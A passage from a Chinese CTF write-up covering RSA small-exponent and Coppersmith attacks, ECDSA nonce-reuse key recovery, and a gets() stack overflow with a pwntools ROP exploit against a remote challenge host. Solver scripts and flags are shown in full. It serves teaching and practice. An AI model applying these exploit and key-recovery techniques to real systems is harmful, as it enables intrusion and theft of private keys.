    padded_hex = pkcs7_pad(flag.encode(&quot;utf-8&quot;), 8).hex()
    return padded_hex == CMP_TARGET_HEX

if __name__ == &quot;__main__&quot;:
    flag = recover_flag()
    print(f&quot;[+] 还原 flag: {flag}&quot;)
    print(f&quot;[+] 长度    : {len(flag)}&quot;)

    ok = verify(flag)
    print(f&quot;[+] 模拟校验: {&apos;PASS&apos; if ok else &apos;FAIL&apos;}&quot;)
    assert ok, &quot;回填校验失败,请检查 CMP_TARGET_HEX&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}&lt;/p&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;BabyRSA&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目给了两个附件&lt;/p&gt;
&lt;p&gt;task.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag

m = bytes_to_long(flag)
e = 3

p = getPrime(512)
q = getPrime(512)
n = p * q

c = pow(m, e, n)

print(f&quot;n = {n}&quot;)
print(f&quot;e = {e}&quot;)
print(f&quot;c = {c}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;out.text&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经典 RSA 小指数（&lt;code&gt;e = 3&lt;/code&gt;）题型。先看看 &lt;code&gt;n&lt;/code&gt; 和 &lt;code&gt;c&lt;/code&gt; 的位数关系：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;比特长度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1024&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;909&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;也就是 &lt;code&gt;c \&amp;amp;lt; n&lt;/code&gt;。这暗示 &lt;code&gt;m^3&lt;/code&gt; 在没有取模的情况下就已经小于 &lt;code&gt;n&lt;/code&gt;，于是&lt;/p&gt;
&lt;p&gt;直接对 &lt;code&gt;c&lt;/code&gt; 开三次方就能拿到 &lt;code&gt;m&lt;/code&gt;，无需分解 &lt;code&gt;n&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import gmpy2
from Crypto.Util.number import long_to_bytes

n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669

m, exact = gmpy2.iroot(c, e)
assert exact
print(long_to_bytes(int(m)).decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{769cc0209669698952823747f21eb10e}&lt;/p&gt;
&lt;h2&gt;ScatterRSA&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目给了两个附件&lt;/p&gt;
&lt;p&gt;task.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from secret import flag
from Crypto.Util.number import *
import random

m = bytes_to_long(flag)
e = 3

print(f&quot;e = {e}&quot;)

for i in range(3):
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    a = random.getrandbits(128) | (1 &amp;lt;&amp;lt; 127)
    b = random.getrandbits(256) | (1 &amp;lt;&amp;lt; 255)
    c = pow(a * m + b, e, n)

    print(f&quot;n{i+1} = {n}&quot;)
    print(f&quot;a{i+1} = {a}&quot;)
    print(f&quot;b{i+1} = {b}&quot;)
    print(f&quot;c{i+1} = {c}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;out.text&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e = 3
n1 = 134590028715846226751903719587861090472772080921099504036178613989523328571021119450984313988905557385036821505121612368860436253713267192159612607745301358472400758433053304358101099945515440169672493726615122471822947908806960237079424527450364377187388434878044214423874958715687632702618242260038201552961
a1 = 173235201602700035769143714622479214858
b1 = 58616053309986169433995951615552358657183395855412447208282770965760612937595
c1 = 50192984704229516422576705848426706185707023557654942997226592852562126143797118081125527050565529571702518296053642057549607538952767595537352818598436177372629946093076195084953301667499579328461288560942915342433209991739202980657987347584757491195480319156057361829134996133204059551472598891366688783755
n2 = 68196420818362667184273231820367250019665598198220107894027697404250798750179650739212752171893537136631632644245299647403521159317636479179387396036378651369427323164026037204640004005081098772718308292781228113356944341374614054386589378286349095152732830327900238600877850386212764491160551279660914970501
a2 = 235763128007574771186749199470667788696
b2 = 82833393375329622580640447653813478693484654663680708964473557677310067110872
c2 = 58727033167047203506164797837999819283982869287436076252773072774355826490167620639330797956244757203726547611149611642979362714607329797512143580714003751905301065313982278186988038708909021000691905664629331025167676669052317049958574849948837597306860613961557323523558290710860835719858942854534226001532
n3 = 104197894722251549417361866562671346718448272653499933412399440512957241054274214931999347021968663121866250705242698152904168891226692027345376090411001289684534871464563352348782346283820734447304134789063563965860082130364230372312070163983650187312362722689902212270815366758596540699197732479604574605717
a3 = 289837185860108823269362666161877095653
b3 = 88038264202304767250178171651729306984925900158278305985019519489525502096874
c3 = 12441437714234741776087648075441633972630237216692770981303759863634569477393643678959437151894987980323367988780311101132662707086178418962311399292280866817688865303206505050428252909551141504556842671029262184318022978671849627397763537173137629868777942717009356259616195047064075877128354789683093509959

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对脚本进行分析&lt;/p&gt;
&lt;p&gt;同一明文 &lt;code&gt;m&lt;/code&gt;，用 &lt;code&gt;e=3&lt;/code&gt; 在三个不同模数 &lt;code&gt;n\_i&lt;/code&gt; 下被加密；&lt;/p&gt;
&lt;p&gt;每次先做仿射变换 `a_i*m + b_i` 再立方 —— 即所谓&lt;strong&gt;线性 padding&lt;/strong&gt;；&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a\_i \(\~128 bit\)&lt;/code&gt;、&lt;code&gt;b\_i \(\~256 bit\)&lt;/code&gt; 都已公开（只是混淆，不是真正的随机化）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;构造同根多项式&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个密文给出一个以 &lt;code&gt;m&lt;/code&gt; 为根的多项式：&lt;/p&gt;
&lt;p&gt;$f_i(x) = (a_i x + b_i)^3 - c_i \equiv 0 \pmod{n_i}$&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;化为首一&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在 &lt;code&gt;Z/n\_i Z&lt;/code&gt; 上把 &lt;code&gt;f\_i&lt;/code&gt; 除以 &lt;code&gt;a\_i^3&lt;/code&gt;，得到首一三次多项式：&lt;/p&gt;
&lt;p&gt;$\hat f_i(x) = x^3 + 3 b_i a_i^{-1} x^2 + 3 b_i^2 a_i^{-2} x + (b_i^3 - c_i) a_i^{-3} \pmod{n_i}$&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CRT 合并&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对系数逐位 CRT 到模 &lt;code&gt;N = n1 n2 n3&lt;/code&gt;，得到首一多项式 &lt;code&gt;F\(x\)&lt;/code&gt;，仍以 &lt;code&gt;m&lt;/code&gt; 为根（mod &lt;code&gt;N&lt;/code&gt;）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Coppersmith small root&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;m&lt;/code&gt; 大小 ~256 bit，&lt;code&gt;N&lt;/code&gt; 大小 ~3072 bit，&lt;code&gt;X = 2^300&lt;/code&gt; 已是宽松界。用 Howgrave-Graham 格 &lt;code&gt;dim = 4&lt;/code&gt; 足够：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;行 0..2: N * x^i        (i = 0, 1, 2)
行 3   : F(x)
列 j 上整体乘 X^j
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LLL 后取最短行，按列除回 &lt;code&gt;X^j&lt;/code&gt; 得到整系数多项式 &lt;code&gt;g\(x\)&lt;/code&gt;；它在整数上以 &lt;code&gt;m&lt;/code&gt; 为根。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;求整数根&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;g\(x\)&lt;/code&gt; 度数 3，用 &lt;code&gt;sympy&lt;/code&gt; 求实根（其中一个是大整数），即得 &lt;code&gt;m&lt;/code&gt;，再 &lt;code&gt;long\_to\_bytes&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from Crypto.Util.number import long_to_bytes
from fractions import Fraction

try:
    from gmpy2 import mpq as Q, mpz as Z
except ImportError:  # pragma: no cover
    Q = Fraction
    Z = int

import sympy

# --------------------------- exact-rational LLL -----------------------------
def lll(B, delta=Q(3, 4)):
    n = len(B)
    B = [[Z(x) for x in row] for row in B]

    def qdot(u, v):
        s = Q(0)
        for a, b in zip(u, v):
            s += a * b
        return s

    Bs = [None] * n
    mu = [[Q(0)] * n for _ in range(n)]

    def gso():
        for i in range(n):
            Bs[i] = [Q(x) for x in B[i]]
            for j in range(i):
                mu[i][j] = qdot([Q(x) for x in B[i]], Bs[j]) / qdot(Bs[j], Bs[j])
                Bs[i] = [a - mu[i][j] * b for a, b in zip(Bs[i], Bs[j])]

    gso()
    k = 1
    while k &amp;lt; n:
        changed = False
        for j in range(k - 1, -1, -1):
            if abs(mu[k][j]) &amp;gt; Q(1, 2):
                m_kj = mu[k][j]
                q = int(m_kj + Q(1, 2)) if m_kj &amp;gt;= 0 else -int(-m_kj + Q(1, 2))
                if q != 0:
                    B[k] = [a - q * b for a, b in zip(B[k], B[j])]
                    changed = True
        if changed:
            gso()
        if qdot(Bs[k], Bs[k]) &amp;gt;= (delta - mu[k][k - 1] ** 2) * qdot(Bs[k - 1], Bs[k - 1]):
            k += 1
        else:
            B[k], B[k - 1] = B[k - 1], B[k]
            gso()
            k = max(k - 1, 1)
    return [[int(x) for x in row] for row in B]

# ------------------------------ challenge data ------------------------------
e = 3
n1 = 134590028715846226751903719587861090472772080921099504036178613989523328571021119450984313988905557385036821505121612368860436253713267192159612607745301358472400758433053304358101099945515440169672493726615122471822947908806960237079424527450364377187388434878044214423874958715687632702618242260038201552961
a1 = 173235201602700035769143714622479214858
b1 = 58616053309986169433995951615552358657183395855412447208282770965760612937595
c1 = 50192984704229516422576705848426706185707023557654942997226592852562126143797118081125527050565529571702518296053642057549607538952767595537352818598436177372629946093076195084953301667499579328461288560942915342433209991739202980657987347584757491195480319156057361829134996133204059551472598891366688783755

n2 = 68196420818362667184273231820367250019665598198220107894027697404250798750179650739212752171893537136631632644245299647403521159317636479179387396036378651369427323164026037204640004005081098772718308292781228113356944341374614054386589378286349095152732830327900238600877850386212764491160551279660914970501
a2 = 235763128007574771186749199470667788696
b2 = 82833393375329622580640447653813478693484654663680708964473557677310067110872
c2 = 58727033167047203506164797837999819283982869287436076252773072774355826490167620639330797956244757203726547611149611642979362714607329797512143580714003751905301065313982278186988038708909021000691905664629331025167676669052317049958574849948837597306860613961557323523558290710860835719858942854534226001532

n3 = 104197894722251549417361866562671346718448272653499933412399440512957241054274214931999347021968663121866250705242698152904168891226692027345376090411001289684534871464563352348782346283820734447304134789063563965860082130364230372312070163983650187312362722689902212270815366758596540699197732479604574605717
a3 = 289837185860108823269362666161877095653
b3 = 88038264202304767250178171651729306984925900158278305985019519489525502096874
c3 = 12441437714234741776087648075441633972630237216692770981303759863634569477393643678959437151894987980323367988780311101132662707086178418962311399292280866817688865303206505050428252909551141504556842671029262184318022978671849627397763537173137629868777942717009356259616195047064075877128354789683093509959

ns = [n1, n2, n3]
as_ = [a1, a2, a3]
bs = [b1, b2, b3]
cs = [c1, c2, c3]

# ---- 1. f_i(x) = (a_i x + b_i)^3 - c_i, normalised to monic mod n_i --------
monic = []
for n, a, b, c in zip(ns, as_, bs, cs):
    ia = pow(a, -1, n)
    f0 = ((b ** 3 - c) * pow(ia, 3, n)) % n
    f1 = (3 * b * b % n * pow(ia, 2, n)) % n
    f2 = (3 * b * ia) % n
    monic.append([f0, f1, f2, 1])

# ---- 2. CRT coefficients to N = n1 n2 n3 -----------------------------------
N = n1 * n2 * n3

def crt(vals, mods, M):
    r = 0
    for v, m_ in zip(vals, mods):
        Mi = M // m_
        r = (r + v * Mi * pow(Mi, -1, m_)) % M
    return r

F = [crt([p[k] for p in monic], ns, N) for k in range(4)]
assert F[3] == 1
print(&quot;F(x) computed (deg 3 monic mod N).&quot;)

# ---- 3. Howgrave-Graham lattice (d = 3, t = 1, dim = 4) --------------------
d, t = 3, 1
dim = d + t
X = 1 &amp;lt;&amp;lt; 300  # safe upper bound on m (m is ~256 bits)

B = [[0] * dim for _ in range(dim)]
for i in range(d):
    B[i][i] = N * (X ** i)
for j in range(t):
    for k in range(d + 1):
        col = j + k
        B[d + j][col] = F[k] * (X ** col)

print(f&quot;Running LLL on {dim}x{dim}...&quot;, flush=True)
red = lll(B, Q(3, 4))
print(&quot;LLL done.&quot;)

# Recover the integer polynomial g(x) from the shortest vector.
short = red[0]
g_coeffs = [short[j] // (X ** j) for j in range(dim)]
while g_coeffs and g_coeffs[-1] == 0:
    g_coeffs.pop()

def evalp(coefs, x):
    r = 0
    for c in reversed(coefs):
        r = r * x + c
    return r

# ---- 4. Find the integer root of g(x) --------------------------------------
xs = sympy.symbols(&quot;x&quot;)
poly = sympy.Poly(sum(c * xs ** i for i, c in enumerate(g_coeffs)), xs)
m = None
for r in poly.real_roots():
    try:
        ri = int(r)
    except (TypeError, ValueError):
        continue
    for cand in (ri - 1, ri, ri + 1):
        if cand &amp;gt; 0 and evalp(g_coeffs, cand) == 0:
            m = cand
            break
    if m is not None:
        break

assert m is not None, &quot;no integer root recovered&quot;
print(&quot;m =&quot;, m)
print(&quot;flag =&quot;, long_to_bytes(m))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{d3e053494a1280f3cff1c22c170069c0}&lt;/p&gt;
&lt;h2&gt;ECDSA nonce 重用&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;challenge\.json&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;public_key_x&quot;: 82937147571408969267139200041203360936951744683871440166987788062427108593019,
  &quot;public_key_y&quot;: 15586372809254615553254077057166913120384173467039862910897487982227597191402,
  &quot;message1&quot;: &quot;57656c636f6d6520746f2074686520435446206368616c6c656e676521&quot;,
  &quot;message2&quot;: &quot;506c65617365207265636f766572207468652073656372657420666c61672e&quot;,
  &quot;signature1_r&quot;: 79013718241246135302610197377430012073343423894519665480327871129212060301075,
  &quot;signature1_s&quot;: 103286208825942613961036297876825547961346350046619406322280179767228016529778,
  &quot;signature2_r&quot;: 79013718241246135302610197377430012073343423894519665480327871129212060301075,
  &quot;signature2_s&quot;: 79104101230423979234833091375845809917052647390793147016296814906477227009899,
  &quot;curve&quot;: &quot;SECP256k1&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;`signature1_r == signature2_r`。在 ECDSA 中 `r = (k·G).x mod n`，两条不同消息的 `r` 完全相同，意味着签名时使用了 &lt;strong&gt;同一个 nonce `k`&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;ECDSA 签名公式（曲线阶为 &lt;code&gt;n&lt;/code&gt;，消息哈希为 &lt;code&gt;z&lt;/code&gt;，私钥为 &lt;code&gt;d&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s = k⁻¹ · (z + r·d)  (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当两条消息复用同一个 &lt;code&gt;k&lt;/code&gt;（因此 &lt;code&gt;r&lt;/code&gt; 相同）时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s1 = k⁻¹ · (z1 + r·d)
s2 = k⁻¹ · (z2 + r·d)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两式相减消去 &lt;code&gt;d&lt;/code&gt;，解出 &lt;code&gt;k&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s1 − s2 = k⁻¹ · (z1 − z2)
      k = (z1 − z2) · (s1 − s2)⁻¹   (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再代回任一式即可解出私钥 &lt;code&gt;d&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d = (s1·k − z1) · r⁻¹   (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;z = SHA256\(message\) mod n&lt;/code&gt;（secp256k1 标准做法，消息为题目给出的 hex 串解码后再哈希）。&lt;/p&gt;
&lt;p&gt;恢复出的私钥（64 位 hex），Flag 末段取私钥 hex 的&lt;strong&gt;前 32 位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;exp如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json, hashlib

d = json.load(open(&apos;challenge.json&apos;))

# secp256k1 群阶 n
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

r  = d[&apos;signature1_r&apos;]
s1 = d[&apos;signature1_s&apos;]
s2 = d[&apos;signature2_s&apos;]

def H(hexmsg):
    return int.from_bytes(hashlib.sha256(bytes.fromhex(hexmsg)).digest(), &apos;big&apos;) % n

z1 = H(d[&apos;message1&apos;])
z2 = H(d[&apos;message2&apos;])

# 恢复 nonce k 与私钥 priv
k    = (z1 - z2) * pow(s1 - s2, -1, n) % n
priv = (s1 * k - z1) * pow(r, -1, n) % n

# 私钥转为 64 位 hex，不足补 0
priv_hex = f&quot;{priv:064x}&quot;

# 取前 32 个 hex 字符作为 flag 末段
flag = f&quot;flag{{ecdsa_nonce_reuse_{priv_hex[:32]}}}&quot;

print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恢复出的私钥（64 位 hex）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a46b8f59aac5f0d5f1e661827c1cf3a7f536c9ce5a5d2452942215f16480d48b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag 末段取私钥 hex 的&lt;strong&gt;前 32 位&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{ecdsa_nonce_reuse_a46b8f59aac5f0d5f1e661827c1cf3a7}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;h2&gt;PWN-Authenticate&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;对附件 &lt;code&gt;vuln&lt;/code&gt; 进行检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;checksec --file=./vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果要点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;No PIE&lt;/code&gt;：程序基址固定，函数地址可直接使用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;No canary found&lt;/code&gt;：栈上没有 canary，适合直接做栈溢出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;程序未去符号：函数名可直接看到&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同时在程序字符串中能直接看到几个关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;存在危险函数 &lt;code&gt;gets&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存在 &lt;code&gt;system&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存在 &lt;code&gt;/bin/sh&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存在后门函数 &lt;code&gt;backdoor&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;说明这题的预期思路非常明确：利用 &lt;code&gt;gets\(\)&lt;/code&gt; 覆盖返回地址，跳转到程序自带后门。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;反汇编后可以看到 &lt;code&gt;login\(\)&lt;/code&gt; 和 &lt;code&gt;backdoor\(\)&lt;/code&gt; 两个关键函数。&lt;/p&gt;
&lt;p&gt;1.backdoor()&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void backdoor() {
    system(&quot;/bin/sh&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后门函数的作用非常直接，就是弹 shell。&lt;/p&gt;
&lt;p&gt;2.login()&lt;/p&gt;
&lt;p&gt;核心逻辑大致如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void login() {
    char username[0x40];
    char password[0x80];

    puts(&quot;=== Welcome to SecureAuth System ===&quot;);
    printf(&quot;Username: &quot;);
    read(0, username, 0x40);
    printf(&quot;Password: &quot;);
    gets(password);

    if (!strcmp(username, &quot;admin&quot;)) {
        puts(&quot;Access Denied: Admin login is disabled.&quot;);
    } else {
        puts(&quot;Invalid credentials.&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的漏洞点在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gets(password);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;gets\(\)&lt;/code&gt; 不会检查输入长度，因此可以溢出覆盖保存的 &lt;code&gt;rbp&lt;/code&gt; 和返回地址。&lt;/p&gt;
&lt;p&gt;根据反汇编可知：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;password&lt;/code&gt; 位于 &lt;code&gt;rbp\-0x80&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;函数返回地址位于 &lt;code&gt;\[rbp\+8\]&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此从 &lt;code&gt;password&lt;/code&gt; 起始位置到返回地址的偏移为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x80 + 0x8 = 0x88 = 136
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 payload 的前 136 字节用于填充，后面覆盖返回地址。&lt;/p&gt;
&lt;p&gt;一开始如果直接把返回地址覆盖为 &lt;code&gt;backdoor\(\)&lt;/code&gt;，程序虽然会跳进去，但在执行 &lt;code&gt;system\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;\)&lt;/code&gt; 时会因为栈未按 16 字节对齐而崩溃。&lt;/p&gt;
&lt;p&gt;这是因为在 x64 下调用某些 libc 函数时，对栈对齐有要求。&lt;/p&gt;
&lt;p&gt;因此需要先插入一个单独的 &lt;code&gt;ret&lt;/code&gt; gadget，把栈调整到正确对齐后，再跳转到 &lt;code&gt;backdoor\(\)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;本题中可用地址为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ret&lt;/code&gt;：&lt;code&gt;0x40101a&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;backdoor&lt;/code&gt;：&lt;code&gt;0x4011f6&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最终 ROP 链为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;A&apos; * 136 + p64(0x40101a) + p64(0x4011f6)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &quot;info&quot;

HOST = &quot;120.27.146.76&quot;
PORT = 28517

p = remote(HOST, PORT)

p.recvuntil(b&quot;Username: &quot;)
p.send(b&quot;admin\x00&quot;)

p.recvuntil(b&quot;Password: &quot;)
payload = b&quot;A&quot; * 136
payload += p64(0x40101a)   # ret，对齐栈
payload += p64(0x4011f6)   # backdoor

p.sendline(payload)
p.sendline(b&quot;cat flag&quot;)

print(p.recvrepeat(2).decode(errors=&quot;ignore&quot;))

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PWN-NoteService&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-50.png&quot; alt=&quot;Figure 50&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;对附件程序 &lt;code&gt;vuln&lt;/code&gt; 做检查，可以得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-51.png&quot; alt=&quot;Figure 51&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这说明：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;开启了 &lt;code&gt;NX&lt;/code&gt;，不能直接在栈上执行 shellcode；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;没有 &lt;code&gt;Canary&lt;/code&gt;，存在栈溢出时可以直接覆盖返回地址；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;没有 &lt;code&gt;PIE&lt;/code&gt;，程序基址固定，函数地址可直接使用；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;题目提示“利用程序自带后门函数实现 ret2text”，因此优先寻找隐藏函数。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;反汇编 &lt;code&gt;vuln&lt;/code&gt; 函数：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-52.png&quot; alt=&quot;Figure 52&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里定义了 &lt;code&gt;0x40&lt;/code&gt; 字节的栈缓冲区，但 &lt;code&gt;read\(0, buf, 0x100\)&lt;/code&gt; 却读入 &lt;code&gt;0x100&lt;/code&gt; 字节数据，明显可以覆盖保存的 &lt;code&gt;rbp&lt;/code&gt; 和返回地址，形成经典栈溢出。&lt;/p&gt;
&lt;p&gt;程序中存在隐藏函数 &lt;code&gt;secret\_note&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-53.png&quot; alt=&quot;Figure 53&quot; /&gt;&lt;/p&gt;
